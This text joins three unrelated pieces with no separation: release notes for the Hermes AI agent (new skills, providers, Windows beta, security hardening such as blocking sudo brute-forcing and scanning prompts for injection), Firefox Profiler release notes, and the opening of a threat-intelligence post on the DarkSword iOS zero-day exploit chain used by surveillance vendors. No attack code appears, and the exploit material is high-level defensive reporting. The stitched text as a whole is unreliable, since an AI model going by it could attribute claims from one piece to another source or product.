• hermes-skills/huggingface as a trusted default tap — community skills index from huggingface.co/skills is available by default in the Skills Hub. (#26219)

• 9 new optional skills — Hyperliquid (perp/spot trading via SDK + REST) (@kshitijk4poor & Hermes), Yahoo Finance market data, api-testing (REST/GraphQL debug), unified EVM multi-chain skill (folds #25291 + #2010 + base/), darwinian-evolver, osint-investigation (closes #355), pinggy-tunnel, watchers (RSS/HTTP/GitHub via cron), Notion overhaul for the Developer Platform (May 2026). (#23582, #23583, #23590, #25299, #26760, #26729, #26765, #21881, #26612)

• API server exposes run approval events — long-running runs surface approval requests over the API stream, no more silent stalls. (salvage of #20311) (#21899)

• /subgoal — user-added criteria appended to active /goal — layer extra success criteria onto a running goal loop. The judge sees them in the prompt, no behavior change when subgoals are empty. (#25449)

• Plugins can run any LLM call via ctx.llm — plugins get a first-class hook to make their own LLM requests through the active provider/credentials, no manual wiring. Plus tool_override flag for replacing built-in tools. (#23194, #26759)

• Brave Search (free tier) + DuckDuckGo (DDGS) as web-search providers — two new free search backends alongside Tavily / SearXNG / Exa. (#21337)

• Sudo brute-force block + sudo-stdin/askpass DANGEROUS classification — closes the sudo -S brute-force avenue; approval gates classify stdin-fed and askpass-stripped sudo invocations as dangerous. (salvages of #22194 + #21128) (#23736)

• Provider rename — Alibaba Cloud → Qwen Cloud, picker reorder — matches what the world calls it. Existing config keys still work. (#24835)

🪟 Windows — Native Support (Early Beta)

Bootstrap & installer

• Native Windows support (early beta) — first-class native Windows path across CLI / gateway / TUI / tools (#21561)
• PyPI wheel packaging — pip install hermes-agent && hermes (salvage of #26350) (#26593)
• Recognise Shift+Enter as a newline key + Windows docs (salvage #21545) (#22130)
• Preserve Ctrl+C for Windows foreground runs (@helix4u) (#22752)
• Stop spamming cwd-missing + tirith-spawn warnings on every terminal call (#26618)
• Use --extra all not --all-extras; drop lazy-covered extras from [all] (#24515)

Windows-specific fixes (40+ across cli / tools / gateway / curator / TUI)

A long tail of native-Windows fixes shipped alongside the beta — taskkill-based subprocess management, MinGit auto-install, Microsoft Store python stub detection, npm prefix handling, native PTY paths, signal handling differences, foreground process management, ANSI sequence handling, path normalization, file-locking semantics, and many more. Full list in commit log under fix(windows) / feat(windows) / windows.

🚀 Performance Wave

Cold start

• Cut ~19s from hermes cold start — skills cache + lazy Feishu + no Nous HTTP at startup (#22138)
• Skip eager plugin discovery on known built-in subcommands (#22120)
• Cache Nous auth + .env loads — hermes tools All Platforms from 14s to <1.5s (#25341)
• Skip welcome banner on chat -q single-query mode (#22904)
• Defer heavy google-cloud imports in google_chat to first adapter use (#22681)
• Defer QQAdapter and YuanbaoAdapter imports via PEP 562 (#22790)
• Defer httpx import in teams to first webhook call (#22831)
• Defer fal_client import to first generation request (#22859)
• models.dev cache-first lookup, skip network when disk cache is fresh (#22808)
• Parallelize API connectivity checks in hermes doctor and disable IMDS (#22766)

Runtime

• 180x faster browser_console evaluations — route through supervisor's persistent CDP WebSocket (#23226)
• Tune Telegram cadence + adaptive fast-path for short replies (salvage of #10388) (#23587)
• Accumulate length-continuation prefix via list+join (#26237)

Prompt caching

• Cross-session 1h prefix cache for Claude on Anthropic / OpenRouter / Nous Portal (#23828)
• Hit prefix cache in background review fork (salvage #17276 + #25427) (#25434)

📦 Installation & Distribution

PyPI + supply-chain

• PyPI wheel packaging — pip install hermes-agent && hermes (salvage of #26350) (#26593)
• Supply-chain advisory checker + lazy-install framework + tiered install fallback (#24220)
• Use --extra all not --all-extras; drop lazy-covered extras from [all] (#24515)
• Skip browser download when system chromium exists (@helix4u) (#25317)

Nix

• extraDependencyGroups for sealed venv extras (@alt-glitch) (#21817)
• Refresh npm lockfile hashes — keeps Nix flake builds reproducible

Docker

• Bootstrap auth.json from env on first boot (#21880)
• Drop manual @hermes/ink build, rely on esbuild bundle — slimmer image

ACP / Zed

• Zed ACP Registry integration (salvage of #25908) (#26079)
• Switch to uvx distribution, drop npm launcher (#26120)
• hermes acp --setup-browser bootstraps browser tools for registry installs (#26234)

🏗️ Core Agent & Architecture

Sessions & handoff

• /handoff actually transfers the session live (#23395)
• Expose HERMES_SESSION_ID env var to agent tools (@alt-glitch) (#23847)

Goals (Ralph loop)

• /subgoal — user-added criteria appended to active /goal (#25449)
• /goal checklist + /subgoal user controls (#23456) — rolled back in window (#23813); /subgoal returned in simpler form via #25449

Compression

• Make protect_first_n configurable (#25447)

Verification

• Per-turn file-mutation verifier footer (#24498)

Stream retry

• Log inner cause, upstream headers, bytes/elapsed on every drop (#23005)

🤖 Models & Providers

New providers

• xAI Grok OAuth (SuperGrok Subscription) provider (#26534)
• NovitaAI provider (salvage #7219) (@kshitijk4poor) (#25507)
• NVIDIA NIM billing origin header (salvage #25211) (#26585)

Provider work

• OpenRouter Pareto Code router with min_coding_score knob (#22838)
• Optional codex app-server runtime for OpenAI/Codex models (#24182)
• Codex-runtime: retire wedged sessions + post-tool watchdog + OAuth refresh classify (#25769)
• Codex-runtime: skip unavailable plugins during migration (#25437)
• Codex-runtime: de-dup [plugins.X] tables and stop leaking HERMES_HOME into config.toml (#26250) (@kshitijk4poor) (#26260)
• Pass reasoning.effort to xAI Responses API (#22807)
• Custom provider: prompt and persist explicit api_mode (#25068)
• Rename Alibaba Cloud → Qwen Cloud, reorder picker (#24835)
• Restore gpt-5.3-codex-spark for ChatGPT Pro (salvage #18286 + #19530, fixes #16172) (@kshitijk4poor) (#22991)
• Inject tool-use enforcement for GLM models (#24715)
• Use Nous Portal as model metadata authority (@rob-maron) (#24502)
• Unified client=hermes-client-v<version> tag on every Portal request (#24779)
• Prevent stale Ollama credentials after provider switch (@kshitijk4poor) (#21703)
• Auxiliary client: rotate pooled auth after quota failures (salvage #22779) (#22792)
• Auxiliary client: skip providers without credentials immediately (#25395) (#25487)
• Auth: send Nous refresh token via header (@shannonsands) (#21578)
• MiniMax: harden OAuth dashboard and runtime (#24165)

OpenAI-compatible proxy

• Local OpenAI-compatible proxy for OAuth providers — Codex / Aider / Cline can hit Claude Pro, ChatGPT Pro, SuperGrok (#25969)

📱 Messaging Platforms (Gateway)

New platforms

• LINE Messaging API platform plugin (#23197)
• SimpleX Chat platform plugin (salvages #2558) (#26232)

Microsoft Graph foundation

• msgraph: add auth and client foundation (salvage of #21408) (#21922)
• msgraph: add webhook listener platform (salvage of #21409) (#21969)
• teams-pipeline: add plugin runtime and operator cli (salvage of #21410) (#22007)
• teams: add pipeline outbound delivery via existing adapter (salvage of #21411) (#22024)

Cross-platform

• Per-platform admin/user split for slash commands (salvage of #4443) (#23373)
• Forensics on signal handling — non-blocking diag, per-phase timing, stale-unit warning (#23285)
• Keep gateway running when platforms fail; add per-platform circuit breaker + /platform (#26600)
• Wire clarify tool with inline keyboard buttons on Telegram (#24199)
• Add chat_id to hook_ctx for message source tracking (#24710)

Telegram

• Native draft streaming via sendMessageDraft (Bot API 9.5+) (salvage of #3412) (#23512)
• Stream Telegram edits safely — salvage of #22264 (@kshitijk4poor) (#22518)
• Telegram notification mode (salvage #22772) (#22793)
• Telegram guest mention mode (@kshitijk4poor) (#22759)
• Split-and-deliver oversized edits instead of silent truncation (salvage of #19537) (#23576)
• Preserve DM topic routing via reply fallback (salvage #22053) (@kshitijk4poor) (#22410)
• Pass source.thread_id explicitly on auto-reset notice (carve-out of #7404) (#23440)

Discord

• Render clarify choices as buttons (#25485)
• Channel history backfill — default on, broadened scope (#25984)
• thread_require_mention for multi-bot threads (salvage #25313) (#25445)

Slack

• Support !cmd as alternate prefix for slash commands in threads (#25355)

WhatsApp

• Surface quoted reply metadata from Baileys (#25398) (#25489)

Feishu / Google Chat / others

• Feishu: native update prompt cards (@kshitijk4poor) (#22448)
• Google Chat: repair setup prompt imports (@helix4u) (#22038)
• Google Chat: honor relay-declared sender_type (salvage of #22107) (@kshitijk4poor) (#22432)
• LINE: use build_source instead of nonexistent create_source (#24717)
• Add weixin, and more to gateway docs (salvage of #21063 by @wuwuzhijing)

🖥️ CLI & TUI

CLI

• Show YOLO mode warning in banner and status bar (#26238)
• Confirm prompt for destructive slash commands (#4069) (#22687)
• docker_extra_args + display.timestamps (#23599)
• Delegate tool: show user's actual concurrency / spawn-depth limits in description (#22694)

TUI

• /sessions slash command for browsing and resuming previous sessions (@austinpickett) (#20805)
• Segment turns with rule above non-first user msgs; trim ticker dead space (@OutThisLife) (#21846)
• Support attaching to an existing gateway (@OutThisLife) (#21978)
• Resolve markdown links to readable page titles (@OutThisLife) (#24013)
• Width-aware markdown table rendering with vertical fallback (@alt-glitch) (#26195)
• Keep Ink displayCursor in sync with fast-echo writes so cursor stops drifting (@OutThisLife) (#26717)
• Allow transcript scroll + Esc during approval/clarify/confirm prompts (@OutThisLife) (#26414)
• Preserve session when switching personality (@austinpickett) (#20942)
• Skip native safety net on OSC52-capable terminals (@benbarclay) (#20954)

Dashboard / GUI

• Route embedded TUI through dashboard gateway (@OutThisLife) (#21979)
• Hide token/cost analytics behind config flag (default off) (#25438)
• Fix Langfuse observability — trace I/O, tool outputs, placeholder credentials (closes #22342, #22763) (@kshitijk4poor) (#26320)
• MiniMax 'Login' button launched Claude OAuth (salvage #22849) (#24058)
• Update cron modals (@austinpickett) (#25985)
• Analytics: prevent silent token loss and add Claude 4.5–4.7 pricing (@austinpickett) (#21455)

🔧 Tools & Capabilities

Vision & video

• vision_analyze returns pixels to vision-capable models (#22955)
• Unified video_generate with pluggable provider backends (#25126)
• image_gen: actionable setup message when no FAL backend is reachable (#26222)

Computer use

• computer_use cua-driver backend + focus-safe ops + non-Anthropic provider fix (re-salvage #16936) (#21967)
• Refresh cua-driver on hermes update + add install --upgrade (#24063)

LSP & write-time diagnostics

• Semantic diagnostics from real language servers in write_file/patch (#24168)
• Shift baseline diagnostics into post-edit coordinates (#25978)

Search & web

• Brave Search (free tier) and DDGS search providers (#21337)
• Bearer auth header for Tavily /crawl endpoint (#24658)

X (Twitter)

• Gated x_search tool with OAuth-or-API-key auth (#26763)

Browser

• Route browser_console eval through supervisor's persistent CDP WS (180x faster) (#23226)
• Support externally managed Camofox sessions (#24499)

MCP

• supports_parallel_tool_calls for MCP servers (salvage of #9944) (#26825)
• Codex preset for Codex CLI MCP server (salvage #22663) (#22679)
• Stop retrying initial MCP auth failures (#25624) (#25776)

Google Workspace

• Drive write ops + Docs/Sheets create/append (#21895)

Per-turn verifier

• Per-turn file-mutation verifier footer (#24498)

🧩 Kanban (Multi-Agent)

• specify — auxiliary LLM fleshes out triage tasks (#21435)
• Orchestrator board tools — kanban_list + kanban_unblock (carve-out of #20568) (#23012)
• stranded_in_ready diagnostic for unclaimed tasks (#23578)
• Dashboard batch QOL upgrade (salvage of #23240) (#23550)
• Tooltips and docs link across dashboard (#21541)
• Dedupe notifier delivery via atomic claim + rewind on failure (salvage #22558) (#23401)
• Keep notifier subscriptions alive across retry cycles (salvage #21398) (#23423)
• Drop caller-controlled author override in kanban_comment (salvage of #22109) (@kshitijk4poor) (#22435)
• Sanitize comment author rendering in build_worker_context (#22769)

🧠 Plugins & Extension

Plugin surface

• Run any LLM call from inside a plugin via ctx.llm (#23194)
• tool_override flag for replacing built-in tools (closes #11049) (#26759)
• standalone_sender_fn for out-of-process cron delivery (@kshitijk4poor) (#22461)
• HERMES_PLUGINS_DEBUG=1 surfaces plugin discovery logs (#22684)
• Hindsight-client as optional dependency (@alt-glitch) (#21818)

Profile & distribution

• Shareable profile distributions via git (#20831)

⏰ Cron

• Routing intent — deliver=all fans out to every connected channel (#21495)
• Support name-based lookup for job operations (#26231)
• Blank Cron dashboard tab + partial-record crashes (salvage #21042 + #22330) (@kshitijk4poor) (#22389)
• Do not seed HERMES_SESSION_* contextvars from cron origin (salvage of #22356) (@kshitijk4poor) (#22382)
• Scan assembled prompt including skill content for prompt injection (#3968)

🧩 Skills Ecosystem

Skills Hub

• hermes-skills/huggingface as a trusted default tap (closes #2549) (#26219)
• Show per-skill pages in the left sidebar (#26646)
• Richer info panels on the Skills Hub (#22905)
• Refuse skill_view name collisions instead of guessing (closes #6136 @polkn)

Curator

• Show rename map in user-visible summary (#22910)
• Hint at hermes curator pin in the rename block (#23212)

New optional skills

• Hyperliquid — perp/spot trading via SDK + REST (salvage of #1952) (#23583)
• Yahoo Finance market data (#23590)
• api-testing (REST/GraphQL debug, salvages #1800) (#23582)
• Unified EVM multi-chain skill (salvages #25291 + #2010 + folds in base/) (#25299)
• darwinian-evolver (#26760)
• osint-investigation (closes #355) (#26729)
• pinggy-tunnel (#26765)
• watchers — RSS / HTTP JSON / GitHub polling via cron no-agent (#21881)
• Notion overhaul for the Developer Platform (May 2026) (#26612)

🔒 Security & Reliability

Security hardening

• Sudo brute-force block + sudo-stdin/askpass DANGEROUS (salvage of #22194 + #21128) (@kshitijk4poor) (#23736)
• Drop caller-controlled author override in kanban_comment (salvage of #22109) (@kshitijk4poor) (#22435)
• Cover remaining SSRF fetch paths in skills-hub (salvage #22804) (#22843)
• Use credential_pool for custom endpoint model listing probes (salvage #22810) (#22842)
• Require dashboard auth for plugin API routes (salvage #19541) (#23220)
• Sanitize env and redact output in quick commands + remove write-only _pending_messages (#23584)
• Reduce unnecessary shell=True in subprocess calls (#25149)
• Sanitize Google Chat sender_type from relay (salvage of #22107) (@kshitijk4poor) (#22432)
• Supply-chain advisory checker (#24220)
• Rewrite security policy around OS-level isolation as the boundary (@jquesnelle) (#20317)
• Remove public security advisory page (#24253)

Reliability — notable bug closures

• SQLite: fall back to journal_mode=DELETE on NFS/SMB/FUSE (fixes /resume on network mounts) (@kshitijk4poor) (#22043)
• Codex-runtime: retire wedged sessions + post-tool watchdog + OAuth refresh classify (#25769)
• Codex-runtime: de-dup [plugins.X] tables and stop leaking HERMES_HOME (#26250) (@kshitijk4poor) (#26260)
• Daytona: migrate legacy-sandbox lookup to cursor-based list() (#24587)
• MCP: stop retrying initial MCP auth failures (#25624) (#25776)
• Gateway: enable text-intercept for multi-choice clarify fallback (#25587) (#25778)
• Gateway: keep running when platforms fail; per-platform circuit breaker + /platform (#26600)
• Delegate: salvage #21933 JSON-string batch + diagnostic logging (@kshitijk4poor) (#22436)
• Profiles+banner: exclude infrastructure from --clone-all + fix stale update-check repo resolution (@kshitijk4poor) (#22475)
• ACP: inline file attachment resources (salvage #21400 + image support) (#21407)
• CI: unblock shared PR checks (@stephenschoettler) (#21012, #25957)

Notable reverts in window

• /goal checklist + /subgoal feature stack — rolled back (#23813); /subgoal returned in simpler form via #25449
• Scrollback box width clamp (#25975) rolled back to restore full-width borders (#26163)
• fix(cli): tolerate unreadable dirs when building systemd PATH rolled back

🌍 i18n

• Localize all gateway commands + web dashboard, add 8 new locales (16 total) (#22914)

📚 Documentation

• Repair Voice & TTS provider table (@nightcityblade, fixes #24101) (#24138)
• Show per-skill pages in the left sidebar (#26646)
• Mention Weixin in gateway help and docstrings (salvage of #21063 by @wuwuzhijing)
• Richer info panels on the Skills Hub (#22905)
• Many more doc updates across providers, platforms, skills, Windows install paths, and dashboard.

🧪 Testing & CI

• Unblock shared PR checks (@stephenschoettler) (#21012)
• Stabilize shared test state after 21012 (@stephenschoettler) (#25957)
• A long tail of test additions for platforms, providers, plugins, and edge cases — 8 explicit test: PRs plus ~250 fix PRs that also added regression coverage.

👥 Contributors

Core

• @teknium1 — release lead, architecture, ~406 PRs merged in window

Top community contributors

• @kshitijk4poor — 38 PRs · Telegram cadence/streaming/topic routing, security hardening (sudo, SSRF, kanban_comment, dashboard auth), codex-runtime hygiene, NovitaAI provider, profile/banner fixes, Feishu update cards, gateway QOL across the board
• @alt-glitch — 13 PRs · Markdown-table TUI rendering, HERMES_SESSION_ID env var, hindsight-client optional dep, Nix extraDependencyGroups
• @OutThisLife (Brooklyn Nicholson) — 12 PRs · TUI turn segmentation, attach-to-gateway, markdown link titles, embedded TUI via dashboard gateway, Ink cursor sync, scroll/Esc during prompts
• @austinpickett — 8 PRs · /sessions slash command, personality switching preserves session, cron modals, dashboard analytics
• @helix4u — 5 PRs · Google Chat setup, browser install skip on system chromium, Windows Ctrl+C preservation
• @rob-maron — 4 PRs · Nous Portal as model metadata authority, provider polish
• @stephenschoettler — 3 PRs · CI stabilization
• @ethernet8023 — 3 PRs · platform/gateway work

All contributors (alphabetical)

@02356abc, @0xbyt4, @0xharryriddle, @1000Delta, @1RB, @29206394, @A-kamal, @aashizpoudel, @Abd0r,
@adybag14-cyber, @AgentArcLab, @ahmedbadr3, @AhmetArif0, @alblez, @Alex-yang00, @ALIYILD, @AllynSheep,
@alt-glitch, @am423, @amathxbt, @amethystani, @ArecaNon, @Arkmusn, @askclaw-vesper, @AsoTora, @austinpickett,
@aydnOktay, @ayushere, @baocin, @Bartok9, @benbarclay, @BennetYrWang, @Bihruze, @binhnt92, @briandevans,
@brooklynnicholson, @btorresgil, @buntingszn, @CalmProton, @chrisworksai, @CoinTheHat, @dandacompany, @Dangooy,
@DanielLSM, @David-0x221Eight, @ddupont808, @dhruv-saxena, @diablozzc, @dlkakbs, @dmahan93, @dmnkhorvath,
@domtriola, @donrhmexe, @Dusk1e, @eloklam, @emozilla, @ephron-ren, @ErenKarakus, @EthanGuo-coder,
@ethernet8023, @evgyur, @explainanalyze, @fahdad, @fr33d3m0n, @Freeman-Consulting, @freqyfreqy, @Frowtek,
@fu576, @github-actions[bot], @gnanirahulnutakki, @GodsBoy, @guglielmofonda, @Gutslabs, @hanzckernel,
@heathley, @hekaru-agent, @helix4u, @HenkDz, @HiddenPuppy, @hllqkb, @hrygo, @HuangYuChuh, @Hugo-SEQUIER, @HxT9,
@iacker, @InB4DevOps, @isaachuangGMICLOUD, @iuyup, @Jaaneek, @jackey8616, @jackjin1997, @Jaggia, @jak983464779,
@jelrod27, @jethac, @JithendraNara, @johnisag, @Julientalbot, @Jwd-gity, @kallidean, @keyuyuan, @kfa-ai,
@kidonng, @KiraKatana, @kjames2001, @konsisumer, @Korkyzer, @kshitijk4poor, @KvnGz, @lars-hagen, @leehack,
@leepoweii, @LeonSGP43, @li0near, @libo1106, @liquidchen, @littlewwwhite, @liuhao1024, @liyoungc, @luandiasrj,
@luoyuctl, @luyao618, @magic524, @mbac, @McClean, @memosr, @Mibayy, @ming1523, @mizgyo, @mrshu, @ms-alan,
@MustafaKara7, @nederev, @nicoechaniz, @nidhi-singh02, @nightcityblade, @nik1t7n, @Ninso112, @NivOO5,
@novax635, @nv-kasikritc, @oferlaor, @oswaldb22, @outdoorsea, @oxngon, @PaTTeeL, @pearjelly, @pefontana,
@perng, @PhilipAD, @phuongvm, @polkn, @Prasanna28Devadiga, @princepal9120, @pty819, @purzbeats, @Quarkex,
@quocanh261997, @qWaitCrypto, @Qwinty, @rahimsais, @raymaylee, @ReqX, @rewbs, @RhombusMaximus, @rob-maron,
@Ruzzgar, @ryptotalent, @Sanjays2402, @shannonsands, @shaun0927, @SiliconID, @silv-mt-holdings, @simpolism,
@smwbev, @soichiyo, @sprmn24, @steezkelly, @stephenschoettler, @Sylw3ster, @szymonclawd, @teyrebaz33,
@Tianyu199509, @Tranquil-Flow, @TreyDong, @TurgutKural, @tw2818, @tymrtn, @uzunkuyruk, @v1b3coder,
@vanthinh6886, @VinceZcrikl, @vKongv, @vominh1919, @voteblake, @VTRiot, @wali-reheman, @wesleysimplicio,
@wilsen0, @WorldWriter, @worlldz, @wuli666, @wuwuzhijing, @Wysie, @XiaoXiao0221, @xieNniu, @xxxigm, @yehuosi,
@ygd58, @yifengingit, @yuga-hashimoto, @zccyman, @ZeterMordio, @Zhekinmaksim, @zhengyn0001

Also: @Nagatha (Claude Opus 4.7).

Full Changelog: v2026.5.7...v2026.5.16

Highlights:

• [fatadel] Dim non-matching nodes in the stack chart when searching (#5935)

• [Markus Stange] Always render the CPU-usage-aware activity graph when CPU information is available (#5918)

• [fatadel] Add CounterDisplayConfig to counters in the processed profile format (#5912)

• [Nazım Can Altınova] Fallback to javascript highlighting in the source view as a backup (#5936)

• [fatadel] Replace 4 counter track components with a single generic TrackCounter (#5944)

• [Ryan Hunt] Add a fullscreen button to the bottom box (#5605)

• [Nazım Can Altınova] Add “Include idle samples” toggle to the call tree settings (#5968)

• [Markus Stange] Update the hovered item when panning any viewport canvas (#5903)

• [Nazım Can Altınova] Fix loading .json.gz profiles from inside zip archives (#5959)

• [Markus Stange] Replace symbolicator-cli with a profiler-edit node tool (#5965)

Other Changes:

• [fatadel] Fix arrow panel appearing behind marker tooltips (#5926)

• [fatadel] Upgrade Node.js from v22 to v24 (#5923)

• [Markus Stange] Use createStackTableBySkippingDiscarded in focusSelf. (#5916)

• [Markus Stange] Propagate isJS to symbolicated funcs (#5907)

• [Nazım Can Altınova] Properly type the return value of _languageExtForPath (#5937)

• [Nazım Can Altınova] Update typescript eslint dependencies (#5938)

• [Markus Stange] Modernize more of the transform functions (#5934)

• [Paul Adenot] Fix extractGeckoLogs for structured Log marker format (bug 2022540) (#5927)

• [Nazım Can Altınova] Move some profile fetching code into a separate module. (#5939)

• [Markus Stange] Migrate Home page animation to CSS transitions and remove react-transition-group (#5649)

• [Nazım Can Altınova] Fix test/lint commands on Windows and fix CI (#5947)

• [Nazım Can Altınova] Convert profile-logic/js-tracer.tsx to a ts file (#5942)

• [Markus Stange] Remove panelLayoutGeneration (#5946)

• [Nazım Can Altınova] Fix eslint-config-prettier silently overriding custom rules (#5955)

• [Markus Stange] Speed up _computeCallNodeTableHierarchy by keeping siblings ordered by func (#5964)

• [Nazım Can Altınova] Add dark mode versions of the fullscreen icons (#5972)

• [fatadel] Use ephemeral port for esbuild’s internal dev server (#5974)

• [carverdamien] Remove category from LongTaskMarkerPayload (#5975)

Big thanks to our amazing localizers for making this release possible:

• de: Ger

• de: Michael Köhler

• el: Jim Spentzos

• en-GB: Ian Neal

• es-CL: ravmn

• fr: Théo Chevalier

• ia: Melo46

• it: Francesco Lodolo [:flod]

• nl: Mark Heijl

• pt-BR: Marcelo Ghelman

• ru: Valery Ledovskoy

• ru: berry

• sv-SE: Andreas Pettersson

• tr: Grk

• zh-CN: Olvcpr423

• zh-CN: wxie

• zh-TW: Pin-guang Chen

Find out more about the Firefox Profiler on profiler.firefox.com! If you have any questions, join the discussion on our Matrix channel!

1 post - 1 participant

Read full topic

Introduction 

Google Threat Intelligence Group (GTIG) has identified a new iOS full-chain exploit that leveraged multiple zero-day vulnerabilities to fully compromise devices. Based on toolmarks in recovered payloads, we believe the exploit chain to be called DarkSword. Since at least November 2025, GTIG has observed multiple commercial surveillance vendors and suspected state-sponsored actors utilizing DarkSword in distinct campaigns. These threat actors have deployed the exploit chain against targets in Saudi Arabia, Turkey, Malaysia, and Ukraine.

DarkSword supports iOS versions 18.4 through 18.7 and utilizes six different vulnerabilities to deploy final-stage payloads. GTIG has identified three distinct malware families deployed following a successful DarkSword compromise: GHOSTBLADE, GHOSTKNIFE, and GHOSTSABER. The proliferation of this single exploit chain across disparate threat actors mirrors the previously discovered Coruna iOS exploit kit. Notably, UNC6353, a suspected Russian espionage group previously observed using Coruna, has recently incorporated DarkSword into their watering hole campaigns.

In this blog post, we examine the uses of DarkSword by these distinct threat actors, provide an analysis of their final-stage payloads, and describe the vulnerabilities leveraged by DarkSword. GTIG reported the vulnerabilities used in DarkSword to Apple in late 2025, and all vulnerabilities were patched with the release of iOS 26.3 (although most were patched prior). We have added domains involved in DarkSword delivery to Safe Browsing, and strongly urge users to update their devices to the latest version of iOS. In instances where an update is not possible, it is recommended that Lockdown Mode be enabled for enhanced security.

This research is published in coordination with our industry partners at Lookout and iVerify.

Discovery Timeline

GTIG has identified several different users of the DarkSword exploit chain dating back to November 2025. In addition to the case studies on DarkSword usage documented in this blog post, we assess it is likely that other commercial surveillance vendors or threat actors may also be using DarkSword.